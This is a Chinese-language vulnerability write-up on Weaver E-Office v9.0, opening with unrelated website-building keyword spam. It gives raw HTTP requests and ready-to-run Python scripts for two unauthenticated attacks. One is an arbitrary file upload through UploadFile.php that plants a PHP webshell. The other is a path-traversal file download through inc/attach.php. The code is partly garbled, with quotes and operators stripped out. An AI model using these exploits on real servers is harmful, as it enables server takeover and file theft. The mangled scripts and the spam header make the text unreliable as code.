科技公司网站建设策划方案,邢台企业网站建设,江阴建设局官方网站,贺州市八步区乡镇建设局网站漏洞简介
泛微e-office是一款标准化的协同OA办公软件#xff0c;实行通用化产品设计#xff0c;充分贴合企业管理需求#xff0c;本着简洁易用、高效智能的原则#xff0c;为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微 E-Office 未能正确处理上传模块中输入…漏洞简介
泛微e-office是一款标准化的协同OA办公软件实行通用化产品设计充分贴合企业管理需求本着简洁易用、高效智能的原则为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微 E-Office 未能正确处理上传模块中输入的数据未授权的攻击者可以构造恶意数据包发送给服务器实现任意文件上传并且获得服务器的webshell成功利用该漏洞可以获取服务器控制权。未授权的攻击者可以构造恶意的数据包读取服务器上的任意文件
漏洞影响范围 E-office Server_v9.0
默认安装位置是 d:\eoffice 在虚拟机内安装没有 D 盘所以安装位置是 c:\eoffice
安装完成后服务默认在 8082 端口 通过主机名 或 ip 地址都可以访问到 代码位置在 C:\eoffice\webroot 同样代码也是被加密了的
通过免费的解密网站获得了加密的具体信息 ZEND加密PHP5.2版本 http://www.phpjm.cc/ 利用工具进行批量的解密因为工具点击一次只能进行一次解密所以利用模拟点击的工具进行模拟点击 KeymouseGo 任意文件上传漏洞
漏洞利用
/general/index/UploadFile.php?muploadPictureuploadTypeeoffice_logouserId
POST /general/index/UploadFile.php?muploadPictureuploadTypeeoffice_logouserId HTTP/1.1
Host: 10.0.21.14:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Connection: close
Content-Type: multipart/form-data; boundary----WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Length: 175------WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Disposition: form-data; nameFiledata; filename1.php?php phpinfo();?
------WebKitFormBoundaryykJoMlQs3JMOsgi3--上传文件的地址 http://10.0.21.14:8082/images/logo/logo-eoffice.php 漏洞分析
漏洞的主要位于 general/index/UploadFile.php 通过 $_GET 方法获取的参数 m调用 UploadFile 中的任意方法
我们选择其中的 uploadPicture 方法 没有对传入的文件进行过滤如果传入一个 php 文件命名为 1.php 最后上传文件会变为 logo-eoffice.php 传入的位置是$_SERVER[DOCUMENT_ROOT]./images/logo/
利用脚本
import sys
import requestsdef request_shell(url):targeturl url /images/logo/logo-eoffice.phpresponse requests.get(targeturl)if(response.status_code 200):print(获取 shell 成功shell地址为targeturl)def request_upload(url,data):targeturl url /general/index/UploadFile.php?muploadPictureuploadTypeeoffice_logouserIdtargetfile {Filedata:(upload.php,data,text/plain)}response requests.post(url targeturl, files targetfile)if(response.status_code 200):print(上传成功)def read_uploadfile(url,filename):with open(filename) as f:data f.read()request_upload(url,data)def upload_file(url,filename):if (filename phpinfo.php):data ?php phpinfo(); ?request_upload(url,data)else:read_uploadfile(url,filename)def main():if len(sys.argv) 3:print(Usage: upload_file.py targeturl filename\nExample: python upload_file.py http://10.0.21.14:8082 phpinfo.php)exit()url sys.argv[1]filename sys.argv[2]upload_file(url,filename)request_shell(url)if __name__ __main__:main()任意文件下载漏洞
漏洞利用
GET /inc/attach.php?path/../../../../../1.txt HTTP/1.1
Host: 10.0.21.14:8082
Origin: http://10.0.21.14:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Connection: close 漏洞分析
inc/attach.php
直接传入参数 最后会读取path 的内容并将结果返回出来我们注意到利用未授权就可将文件下载下来从代码层面并没有看出来原因但是通过浏览器直接访问时无法访问到进行了 302 跳转通过 burpsuite 就可以访问到攥写脚本禁止 302 跳转也可以读取出来。
漏洞的主要来源位于 我们看一下文件的下载链接
利用脚本
import sys
import requests
import redef save_reponse(re_result,filename):filenamere.findall([^/]$,filename)[0]# print(filename)with open(filename, w,encodinggb18030) as f:f.write(re_result)def re_response(response):re_result response[1507:]return re_resultdef read_file(url,filename):targeturl url /inc/attach.php?pathfilenameresponse requests.get(url targeturl, allow_redirectsFalse)# print(response.text)re_result re_response(response.text)print(re_result)save_reponse(re_result,filename)def main():if len(sys.argv) 3:print(Usage: upload_file.py targeturl filename\nExample: python read_file.py http://10.0.21.14:8082 attach.php)exit()url sys.argv[1]filename sys.argv[2]read_file(url,filename)if __name__ __main__:main()
还有一些 SQL 注入漏洞还可以继续进一步的进行审计分析。